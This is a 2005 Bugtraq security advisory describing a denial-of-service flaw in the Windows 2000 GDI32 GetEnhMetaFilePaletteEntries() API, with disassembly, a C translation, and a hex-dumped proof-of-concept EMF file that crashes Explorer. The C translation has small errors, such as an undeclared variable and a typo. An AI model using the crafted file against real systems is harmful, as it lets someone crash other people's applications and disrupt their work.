Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API specially crafted EMF file DOS vulnerability

From: Hongzhen Zhou (felix__zhou_at_hotmail.com)
Date: 03/17/05

  • Next message: farhad koosha: "XSS in ACS blog"
    Date: 17 Mar 2005 10:16:52 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

         Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API specially crafted EMF file DOS vulnerability

    1. Description

    Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API
    doesn't process the EMF file properly, a application which calls
    the API will crash when it reads some specially crafted EMF files.

    2. Detail

    Let us review the code:

    ----------------------------------------------------------
    The Disassembled GDI32.GetEnhMetaFilePaletteEntries()
    ----------------------------------------------------------
    77F68CC7 PUSH ESI
    77F68CC8 PUSH EDI
    77F68CC9 PUSH 460000
    77F68CCE PUSH DWORD PTR SS:[ESP+10]
    77F68CD2 CALL GDI32.77F48A89
    77F68CD7 TEST EAX,EAX
    77F68CD9 JNZ SHORT GDI32.77F68CE0
    77F68CDB OR EAX,FFFFFFFF
    77F68CDE JMP SHORT GDI32.77F68D11
    77F68CE0 MOV EDI,DWORD PTR SS:[ESP+14]
    77F68CE4 TEST EDI,EDI
    77F68CE6 JNZ SHORT GDI32.77F68CF0
    77F68CE8 MOV EAX,DWORD PTR DS:[EAX+C]
    77F68CEB MOV EAX,DWORD PTR DS:[EAX+44]
    77F68CEE JMP SHORT GDI32.77F68D11
    77F68CF0 MOV ECX,DWORD PTR DS:[EAX+C]
    77F68CF3 MOV EAX,DWORD PTR DS:[ECX+44]
    77F68CF6 CMP DWORD PTR SS:[ESP+10],EAX
    77F68CFA JNB SHORT GDI32.77F68D00
    77F68CFC MOV EAX,DWORD PTR SS:[ESP+10]
    77F68D00 MOV EDX,DWORD PTR DS:[ECX+30]
    77F68D03 ADD EDX,ECX
    77F68D05 MOV ECX,EAX
    77F68D07 SUB EDX,DWORD PTR DS:[EDX-4]
    77F68D0A MOV ESI,DWORD PTR DS:[EDX+C]
    77F68D0D ADD ESI,EDX
    77F68D0F REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
    77F68D11 POP EDI
    77F68D12 POP ESI
    77F68D13 RETN 0C
    -----------------------------------------------------------
    Translated into C Code
    -----------------------------------------------------------
    UINT GetEnhMetaFilePaletteEntries(
        HENHMETAFILE hemf, // handle of enhanced metafile
        UINT cEntries, // count of palette entries
        LPPALETTEENTRY lppe // address of palette-entry array
       )
    {
            char *begin, *end, *emreof, *palent;
            DWORD count, i;

            // ......

            begin = emf file offset in memory;

            // get the count of palette entries from the emf file
            count = *((DWORD *)(begin + 0x44));

            if (lppe == 0)
                     return count;
     
            if (size > count)
                     size = count;
            
            // find the end of the emf file
            end = begin + *((DWORD *)(bigin + 0x30));

            // find the offset of emreof
            emreof = end - *((DWORD *)(end - 0x04));

            // find the offset of palentries
            palent = emreof + *((DWORD *)(emreof + 0x0c));

            // copy the palent from the file to palette-entry array
            for (i = 0; i < size; i++)
                     memcpy(lppe + i, palent + i * 4, 4);
            
            return size;
    }
    -----------------------------------------------------------

    You can see that there isn't validity check, so it may cause
    access violation when it uses the offset value("end", "emreof",
    "palent") which read from the EMF.

    3. Impact

    The specific impact depends on the application using the API.
    Generally, if there is a non-zero value in EMRHEAD->nPalEntries,
    the application will call this API, and pass EMRHEAD->nPalEntries
    to the second parameter, a specially crafted EMF will crash
    the Application if the address it accesses to is not valid.

    <<< Explorer.exe >>>

    The explorer.exe(maybe a DLL called by explorer) always use
    0x100 as the second parameter. And even if there is a zero
    value in EMRHEAD->nPalEntries, if the "end" value in the end
    of EMF file is bigger than some value(0x14 ??? I'm not sure),
    it will also call this API to get the Palette entries.(strangely ?)

    When you open the explorer.exe to open the folder which has a
    crafted EMF file, if you click on the file in explorer's right
    client area, just click, the explorer.exe will display the EMF file
    in its left client area which will crash itself.

    4. POC

    A hex dumped EMF file:
    -------------------------------------------------------
    0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00
    0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00
    0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00
    0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00
    0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00
    0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00
    0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00
    0000070 41 42 43 44 00 00 01 ff
    -------------------------------------------------------

    If it doesn't crash your explorer.exe, change the last 8
    byte's values and try again, but I think it needn't change:)

    Or you can change some normal EMF files in your Win2k to test.

    5. Author

    felix__zhou _at_ hotmail _dot_ com
          hzhou _at_ fortinet _dot_ com


  • Next message: farhad koosha: "XSS in ACS blog"